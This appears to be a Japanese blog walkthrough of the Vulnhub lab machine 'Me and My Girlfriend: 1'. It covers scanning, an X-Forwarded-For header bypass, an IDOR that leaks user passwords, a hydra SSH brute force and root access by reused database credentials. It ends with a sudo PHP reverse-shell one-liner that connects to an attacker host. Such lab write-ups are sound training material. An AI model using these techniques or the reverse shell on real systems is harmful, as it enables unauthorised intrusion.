banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban

私と私の彼女:1-Vulnhubウォークスルー

ターゲットのアドレス

このターゲットには 2 つのflagがあります。1 つは一般ユーザー用で、もう 1 つはrootユーザー用です。

ツールと脆弱性情報#

  • netdiscover
  • nmap
  • gobuster
  • hydra
  • x-forwarded-for ローカルアクセス
  • 水平特権昇格
  • mysql パスワードはおそらく root のパスワードです

0x01 情報収集#

ターゲットのスキャン#

netdiscover-rオプションを使用して192.168.1.0/16をスキャンした結果は以下の通りです:

image

nmapを使用してホストとポート情報をスキャンします:

nmap -sS -A -n -T4 -p- 192.168.1.12

image

sshwebの 80 ポートしか開いていないことがわかります。

パスのスキャン#

ほとんどの場合、パスのスキャンは必要ありませんが、作業を完全に行うために行います。

gobusterを使用してパスをスキャンします:

gobuster dir -u http://192.168.1.12 -s 200,301,302 -t 50 -q -w /usr/share/seclists/Discovery/Web-Content/big.txt

image

特に何もありませんが、robots.txtは毎回チェックする必要があります。ファイルパスheyhoo.txtを取得します。

取得した情報は以下の通りです:

Great! What you need now is reconn, attack and got the shell。

ホームページにアクセスすると以下のようになります:

image

ローカルからのアクセスのみ許可されていることがわかります。CTF の初心者問題であるx-forwarded-for127.0.0.1に変更する必要があります。

多くの方法がありますが、パケットキャプチャでも可能です。プラグインも多数あります:Header EditorX-Forwarded-For Headerなど。

ここではX-Forwarded-For Headerを使用します:

image

0x02 一般アカウントのシェル#

ホームページにアクセスします:

image

弱いパスワードでのログインを試みましたが、効果がありませんでした。そのため、アカウントを登録します:

image

ログイン後、リンクが変更されます:

http://192.168.1.12/index.php?page=dashboard&user_id=12

このuser_id=xxxを 1 に変更すると、ユーザー名とパスワードが変更されます:

image

firefoxのウェブソースコードを確認すると、パスワードの非表示フィールドの属性typepasswordから他の任意の値に変更すると、パスワードを表示できることがわかります:

image

水平特権が存在し、パスワードも表示できるため、データベース全体のアカウントとパスワードを保存します。

ポートスキャンの際に、80以外にも22sshログインがあることを忘れないでください。

hydraと見つけたアカウントとパスワードを使用してsshサービスを爆破します:

hydra -L user.txt -P passwd.txt -t 4 -I ssh://192.168.1.12
  • -t:4 同時に接続するタスク数。sshはテストで簡単にクラッシュするため。
  • -I 煩わしい待ち時間をスキップすることを示します。

image

爆破に成功し、sshのアカウントとパスワードalice/4lic3を取得しました。ログインします。

0x03 特権昇格 root#

ログイン後、現在のディレクトリを確認します:ls -al

image

.my_secretディレクトリで最初のflagを取得します。

ウェブサイトのパスをスキャンする際に、robots.txt以外にも他のものがあるようですので、ウェブサイトのルートディレクトリに移動して確認します:

cd /var/www/html

configディレクトリには、mysqlへのリンクの設定があります:

image

データベースに接続して情報を確認してみましょう:

image

指定された設定ファイルに基づいてデータベースを表示します:

image

これはウェブサイト上のユーザーデータベースであり、有用な情報はありません。

役に立たないと思っていたときに、もしかしたらこれは単なるデータベースのパスワードではないかと思いつきました。

データベースからログアウトし、rootユーザーに切り替えます:su root、データベースのパスワードを入力します:

image

中に入りました!WTF?

image

0x04 別の方法で特権昇格 root#

うまくいきませんね、これはディレクトリの表示操作ですよね?

以下では、技術的な内容のない別の方法を試してみましょう::quyin:1huaji::

今、kalinc -lvp 3333をリッスンしています。

ターゲットでphpのリバースシェルを実行します:

sudo /usr/bin/php -r '$sock=fsockopen("192.168.1.2",3333);exec("/bin/sh -i <&3 >&3 2>&3");'

image

参考文献:

この記事は以上です。

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。